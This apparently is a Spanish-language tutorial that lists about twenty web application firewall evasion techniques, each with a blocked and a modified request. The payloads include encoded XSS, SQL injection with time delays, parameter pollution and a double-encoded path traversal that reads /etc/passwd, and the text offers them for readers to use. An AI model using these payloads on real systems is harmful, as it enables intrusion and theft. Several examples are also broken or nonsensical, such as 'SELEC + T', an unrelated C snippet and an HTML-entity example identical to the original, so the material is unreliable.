La siguiente es una lista de técnicas de hacking muy específicas que puedes utilizar para evadir firewalls. Ten en cuenta que existen aproximadamente una docena de tipos de firewalls y estas técnicas funcionan con una parte de ellos.
Aquí tienes una explicación detallada de cada técnica, incluyendo cómo hacerlo, una solicitud básica bloqueada y una solicitud actualizada que puede eludir el WAF:
Cómo hacerlo:
Codifica caracteres especiales en el payload utilizando codificación URL (codificación de porcentaje) para evadir la detección del WAF.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con codificación de URL:
1%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
Cómo hacerlo:
Convierte caracteres en el payload a sus equivalentes en Unicode para evadir la detección.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con codificación Unicode:
1\u003Cscript\u003Ealert('XSS')\u003C/script\u003E
Cómo hacerlo:
Usa entidades HTML para codificar caracteres en el payload, que pueden renderizarse correctamente en el navegador pero evadir el WAF.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con entidades HTML:
1<script>alert('XSS')</script>
Cómo hacerlo:
Combina múltiples técnicas de codificación (por ejemplo, codificación URL y entidades HTML) en un solo payload para confundir al WAF.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con codificación mixta:
1%3Cscript%3Ealert%28%26%2339%3BXSS%26%2339%3B%29%3C%2Fscript%3E
Cómo hacerlo:
Combina caracteres en mayúsculas y minúsculas para crear payloads eficientes.
Solicitud original bloqueada:
1<script>confirm()</script>
Actualizado con cambio de mayúsculas/minúsculas:
1<ScrIpT>confirm()</sCRiPt>
Cómo hacerlo:
Inserta comentarios o caracteres adicionales dentro del payload para romper los patrones que el WAF busca.
Solicitud original bloqueada:
1SELECT * FROM users WHERE id=1;
Actualizado con comentarios:
1SELECT/*comment*/ * FROM users WHERE id=1;
Cómo hacerlo:
Envía múltiples parámetros con el mismo nombre en una sola solicitud para confundir al WAF o la aplicación web.
Solicitud original bloqueada:
1GET /search?q=malicious_query
Actualizado con contaminación de parámetros:
1GET /search?q=benign_query&q=malicious_query
Cómo hacerlo:
Utiliza doble codificación para eludir las reglas del WAF que solo verifican secuencias codificadas una vez.
Solicitud original bloqueada:
1GET /../../etc/passwd
Actualizado con doble codificación:
1GET /%252e%252e%252f%252e%252e%252fetc%252fpasswd
Cómo hacerlo:
Modifica el encabezado User-Agent o Referrer para evadir las reglas del WAF que pueden aplicar reglas diferentes según estos encabezados.
Solicitud original bloqueada:
1GET /admin HTTP/1.1 2User-Agent: NormalBrowser
Actualizado con un User-Agent personalizado:
1GET /admin HTTP/1.1 2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Cómo hacerlo:
Usa demoras de tiempo en la inyección SQL para inferir información de la base de datos sin recuperar datos directamente.
Solicitud original bloqueada:
1GET /search?q=' OR 1=1; --
Actualizado con inyección SQL basada en tiempo:
1GET /search?q='; IF (1=1) WAITFOR DELAY '00:00:05'; --
Cómo hacerlo:
Modifica parámetros en solicitudes HTTP, particularmente solicitudes POST, para evadir las reglas del WAF enfocadas en solicitudes GET.
Solicitud original bloqueada:
1POST /login HTTP/1.1 2username=admin&password=123456
Actualizado con manipulación de parámetros:
1POST /login HTTP/1.1 2username=admin&password=wrong_password
Cómo hacerlo:
Divide el payload en múltiples solicitudes o paquetes para evitar la detección del WAF.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con fragmentación de payload:
1<script>aler 2t('XSS')</script>
Cómo hacerlo:
Analiza los registros y respuestas del WAF para identificar qué payloads están siendo bloqueados y ajustarlos en consecuencia.
Solicitud original bloqueada:
1GET /admin HTTP/1.1
Actualizado basado en análisis de registros:
1GET /admin.php HTTP/1.1
Cómo hacerlo:
Utiliza caracteres comodín de una manera que confunda el patrón de coincidencia del WAF.
Solicitud original bloqueada:
1SELECT * FROM users WHERE username='admin';
Actualizado con ofuscación con comodines:
1SELECT * FROM users WHERE username LIKE 'adm%';
Cómo hacerlo:
Inserta caracteres o elementos que rompan los tokens que el WAF utiliza para identificar patrones maliciosos.
Solicitud original bloqueada:
1SELECT * FROM users WHERE id=1;
Actualizado con ruptura de tokens:
1SELEC + T * FROM users WHERE id=1;
Cómo hacerlo:
Inserta tabulaciones (\t
) o saltos de línea (\n
) dentro de los payloads para interrumpir la coincidencia de patrones del WAF.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con tabulaciones y saltos de línea:
1<script>\n\talert('XSS')</script>
Cómo hacerlo:
Usa variables no inicializadas o raramente utilizadas en el payload para confundir los algoritmos de detección del WAF.
Solicitud original bloqueada:
1int x = 1; return x;
Actualizado con variable no inicializada:
1int x; return x = 1;
Cómo hacerlo:
Introduce caracteres de salto de línea dentro de un payload para dividir los patrones maliciosos que el WAF está escaneando.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con caracteres de salto de línea:
1<script> 2alert('XSS') 3</script>
Cómo hacerlo:
Inserta caracteres aleatorios o irrelevantes en el payload que la aplicación objetivo ignorará, pero que podrían hacer que el WAF pase por alto el ataque.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con caracteres basura:
1<scri%00pt>alert('XSS')</scri%00pt>
Cómo hacerlo:
Genera payloads dinámicamente, de modo que cambien en cada solicitud, lo que dificulta que el WAF los reconozca y bloquee.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con generación dinámica de payload:
1<script>eval(String.fromCharCode(97,108,101, 2 3114,116)('XSS'))</script>
Las técnicas de evasión de firewalls que discutimos generalmente tienen como objetivo eludir tipos específicos de firewalls, particularmente aquellos que realizan inspección profunda de paquetes o filtrado a nivel de aplicación, como los Firewalls de Aplicaciones Web (WAF) y los Firewalls de Próxima Generación (NGFW). Sin embargo, la efectividad de estas técnicas puede variar dependiendo del tipo de firewall, su configuración y sus capacidades específicas. Aquí se muestra cómo estas técnicas podrían interactuar con diferentes tipos de firewalls:
No todas las técnicas son universalmente efectivas en todos los tipos de firewalls. Su éxito depende en gran medida del tipo específico de firewall, su configuración y la naturaleza del tráfico que inspecciona. Algunas técnicas son más adecuadas para firewalls a nivel de aplicación como los WAF, mientras que otras podrían dirigirse a firewalls más simples que filtran a nivel de red. Comprender las capacidades y configuraciones específicas del firewall en cuestión es esencial al aplicar técnicas de evasión.